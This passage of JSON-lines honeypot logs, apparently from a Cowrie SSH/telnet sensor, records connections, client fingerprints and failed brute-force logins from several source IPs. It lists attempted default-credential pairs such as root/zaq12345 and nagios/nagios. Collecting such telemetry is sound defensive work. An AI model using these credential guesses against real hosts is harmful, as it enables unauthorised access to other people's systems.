a2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:48.573798Z","src_ip":"45.156.87.204","session":"81e3033d0963","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"1qaz@WSX","message":"login attempt [user1/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:48.819520Z","src_ip":"45.156.87.204","session":"81e3033d0963","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":29.967873096466064,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:49.164546Z","src_ip":"152.42.224.71","session":"15fa78ce50e9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:49.904586Z","src_ip":"45.156.87.204","session":"81e3033d0963","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":54194,"dst_ip":"10.17.0.5","dst_port":22,"session":"89bedd7310af","protocol":"ssh","message":"New connection: 103.15.222.183:54194 (10.17.0.5:22) [session: 89bedd7310af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:51.044882Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:51.049039Z","src_ip":"103.15.222.183","session":"89bedd7310af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:51.302850Z","src_ip":"103.15.222.183","session":"89bedd7310af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":54600,"dst_ip":"159.203.135.109","dst_port":22,"session":"a5e913ee5d7a","protocol":"ssh","message":"New connection: 45.156.87.204:54600 (159.203.135.109:22) [session: a5e913ee5d7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:52.004574Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"zaq12345","message":"login attempt [root/zaq12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:52.064359Z","src_ip":"103.15.222.183","session":"89bedd7310af","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:52.133573Z","src_ip":"45.156.87.204","session":"a5e913ee5d7a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:52.140516Z","src_ip":"45.156.87.204","session":"a5e913ee5d7a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nagios","password":"nagios","message":"login attempt [nagios/nagios] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:52.514402Z","src_ip":"45.156.87.204","session":"a5e913ee5d7a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:53.321560Z","src_ip":"103.15.222.183","session":"89bedd7310af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:53.599206Z","src_ip":"45.156.87.204","session":"a5e913ee5d7a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":43886,"dst_ip":"159.203.135.109","dst_port":22,"session":"d496162de5ed","protocol":"ssh","message":"New connection: 45.156.87.204:43886 (159.203.135.109:22) [session: d496162de5ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:55.793458Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:55.798460Z","src_ip":"45.156.87.204","session":"d496162de5ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:55.880546Z","src_ip":"45.156.87.204","session":"d496162de5ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":41468,"dst_ip":"10.17.0.5","dst_port":23,"session":"ea7b6063e6de","protocol":"telnet","message":"New connection: 152.42.224.71:41468 (10.17.0.5:23) [session: ea7b6063e6de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:55.954001Z"}
{"eventid":"cowrie.login.failed","username":"developer","password":"123456","message":"login attempt [developer/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:56.127599Z","src_ip":"45.156.87.204","session":"d496162de5ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:57.212669Z","src_ip":"45.156.87.204","session":"d496162de5ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":43894,"dst_ip":"159.203.135.109","dst_port":22,"session":"7512a0568fd1","protocol":"ssh","message":"New connection: 45.156.87.204:43894 (159.203.135.109:22) [session: 7512a0568fd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:59.226999Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:59.240694Z","src_ip":"45.156.87.204","session":"7512a0568fd1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:59.322670Z","src_ip":"45.156.87.204","session":"7512a0568fd1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test123","message":"login attempt [test/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:59.673991Z","src_ip":"45.156.87.204","session":"7512a0568fd1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:55:00.759423Z","src_ip":"45.156.87.204","session":"7512a0568fd1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.067442417144775,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:55:02.199472Z","src_ip":"152.42.224.71","session":"2d8b1f372310","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":54544,"dst_ip":"159.203.135.109","dst_port":22,"session":"02a4f009f066","protocol":"ssh","message":"New connection: 45.156.87.204:54544 (159.203.135.109:22) [session: 02a4f009f066]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:55:02.969816Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:55:02.975278Z","src_ip":"45.156.87.204","session":"02a4f009f066","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:55:03.060961Z","src_ip":"45.156.87.204","session":"02a4f009f066","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"soporte","password":"soporte","message":"login attempt [soporte/soporte] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:55:03.330375Z","src_ip":"45.156.87.204","session":"02a4f009f066","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:55:04.422491Z","src_ip":"45.156.87.204","session":"02a4f009f066","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":54556,"dst_ip":"159.203.135.109","dst_port":22,"session":"713be75a27af","protocol":"ssh","message":"New connection: 45.156.87.204:54556 (159.203.135.109:22) [session: 713be75a27af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:55:06.484470Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:55:06.489933Z","src_ip":"45.156.87.204","session":"713be75a27af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:55:06.573423Z","src_ip":"45.156.87.204","session":"713be75a27af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ams","password":"ams","message":"login attempt [ams/ams] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:55:06.824828Z","src_ip":"45.156.87.204","session":"713be75a27af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:55:07.912435Z","src_ip":"45.156.87.204","session":"713be75a27af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":54568,"dst_ip":"159.203.135.109","dst_port":22,"session":"ff96b2978648","protocol":"ssh","message":"New connection: 45.156.87.204:54568 (159.203.135.109:22) [session: ff96b2978648]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:55:09.891172Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:55:10.029157Z","src_ip":"45.156.87.204","session":"ff96b2978648","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:55:10.033363Z","src_ip":"45.156.87.204","session":"ff96b2978648","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aiuser","password":"123456","message":"login attempt [aiuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:55:10.444149Z","src_ip":"45.156.87.204","session":"ff96b2978648","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":104.7520112991333,"message":"Connection lost after 104 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:55:11.041869Z","src_ip":"152.42.224.71","session":"156405a98e1b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:55:11.530398Z","src_ip":"45.156.87.204","session":"ff96b2978648","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":50324,"dst_ip":"159.203.135.109","dst_port":22,"session":"839562a06901","protocol":"ssh","message":"New connection: 45.156.87.204:50324 (159.203.135.109:22) [session: 839562a06901]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:55:13.640564Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:55:13.645306Z","src_ip":"45.156.87.204","session":"839562a06901","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 